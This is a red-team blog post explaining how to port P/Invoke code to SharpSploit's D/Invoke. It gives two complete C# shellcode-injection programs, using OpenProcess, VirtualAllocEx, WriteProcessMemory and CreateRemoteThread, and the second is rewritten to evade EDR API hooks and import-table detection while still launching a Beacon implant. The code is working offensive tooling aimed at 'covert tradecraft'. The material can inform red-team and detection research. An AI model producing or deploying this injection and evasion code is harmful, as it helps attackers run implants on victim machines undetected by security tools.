Back in June, I posted a short update on my shared blog regarding the SharpSploit v1.6 release. Within that post I mentioned Dynamic Invocation, which is a new feature introduced by TheWover and b33f. It wasn’t the focus of my post so I didn’t go into any details, but TheWover already published some information about what DInvoke is and how to use it.
I obviously won’t reiterate everything written there, but here’s a quick recap:
Platform Invoke (P/Invoke) allows you to access methods within unmanaged libraries from managed code. In other words for us attackers - load and use native DLLs from .NET assemblies. Those that have used or written offensive tooling in C# (particularly for process injection) have seen this numerous times.
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
First we define a DllImport
attribute, providing the DLL that contains the method we want. Then provide the “signature” of that method, which defines what parameters it expects to take in and what it should return. These need to be “translated” from the native documentation, e.g. instead of a HANDLE
in C, we use an Intptr
in C#. Thereafter, we can just call this method from with our C#:
IntPtr hProcess = OpenProcess(0x001F0FFF, false, int.Parse(args[1]));
(where 0x001F0FFF
equates to PROCESS_ALL_ACCESS
).
The .NET runtime actually uses P/Invoke by design and namespaces like System.Diagnostics
rely on OpenProcess
under the hood. For instance, IntPtr hProcess = Process.GetProcessById(x)
also gives us handle to the process, but the API calls have harded parameters such as PROCESS_QUERY_INFORMATION
. So although we have a handle, it may not be of sufficient privilege and other API calls may not be exposed via the framework at all. This is why manually P/Invoking is necessary to access these APIs directly.
However, as TheWover explains, there are two disadvantages to using P/Invoke in this way:
The aim of D/Invoke is to provide an alternate means of accessing these native Windows APIs without leaving these particular indicators behind (that’s not to say D/Invoke doesn’t have indicators of its own).
The OpenProcess/VirtualAllocEx/WriteProcessMemory/CreateRemoteThread is the easiest and simplest process injection technique that I know, and served as a test case for “translating” from P/Invoke to D/Invoke. I also re-implemented b33f’s UrbanBishop project, but that would make for a much more complicated blog post :)
A typical example of this technique could look like this:
using System;
using System.IO;
using System.Runtime.InteropServices;
namespace InjectionTest
{
class Program
{
static void Main(string[] args)
{
var shellcode = File.ReadAllBytes(args[0]);
var hProcess = OpenProcess(0x001F0FFF, false, int.Parse(args[1]));
var alloc = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
WriteProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
}
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
If we use API Monitor as our would-be EDR, set hooks on these API calls and execute InjectionTest.exe
, we can see how it picks up the details of our calls.
Furthermore, we can see how the assembly is locating those API calls at runtime using GetProcAddress
.
API Monitor restores execution flow, but an EDR would obviously not be that considerate. Some EDRs may outright block access to these APIs, or at least will be able to inspect the calls (and even see the shellcode) before making some sort of decision for blocking. So let’s replace P/Invoke for D/Invoke - the process is not as hard as you expect.
The first step is to add SharpSploit as a reference for the Visual Studio Project. Then we need to replace the DllImport
attributes with UnmanagedFunctionPointer
declerations, and change static extern
for delegate
. The heart of D/Invoke works by “manually” mapping a DLL into the current process and getting a pointer to the desired method. Some delegate magic is then used to wrap that within something we can execute.
OpenProcess
for example, would become:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
The rest of the method signature remains the same.
Get a pointer to OpenProcess
with: var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess");
.
Next, use GetDelegateForFunctionPointer
to map this pointer to the delegate we made: var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
.
And finally var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));
.
The complete code:
using System;
using System.IO;
using System.Runtime.InteropServices;
using SharpSploit.Execution.DynamicInvoke;
namespace InjectionTest
{
class Program
{
static void Main(string[] args)
{
var shellcode = File.ReadAllBytes(args[0]);
var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess");
var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));
pointer = Generic.GetLibraryAddress("kernel32.dll", "VirtualAllocEx");
var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(VirtualAllocEx)) as VirtualAllocEx;
var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
pointer = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(WriteProcessMemory)) as WriteProcessMemory;
writeProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten);
pointer = Generic.GetLibraryAddress("kernel32.dll", "CreateRemoteThread");
var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(CreateRemoteThread)) as CreateRemoteThread;
createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
As we can see - with the same hooks in place, API Monitor no longer sees our API calls and we still get our Beacon.
We also don’t see the same calls to GetProcAddress
to get the addresses of those functions.
Just like P/Invoke, D/Invoke allows us to import and use native APIs but in a way that avoids entries in the import table and some userland API hooking. Without a significant amount of development work, we can port existing P/Invoke to D/Invoke to breath new life into old code. In addition to GetLibraryAddress
, the D/Invoke API provides other means for mapping DLLs either from disk or memory. I look forward to exploring the various ways D/Invoke can improve covert tradecraft.
I hope this short primer will encourage those who find the idea of D/Invoke a bit daunting to give it a go.
Shoutout to both TheWover and b33f for their hard work in this area.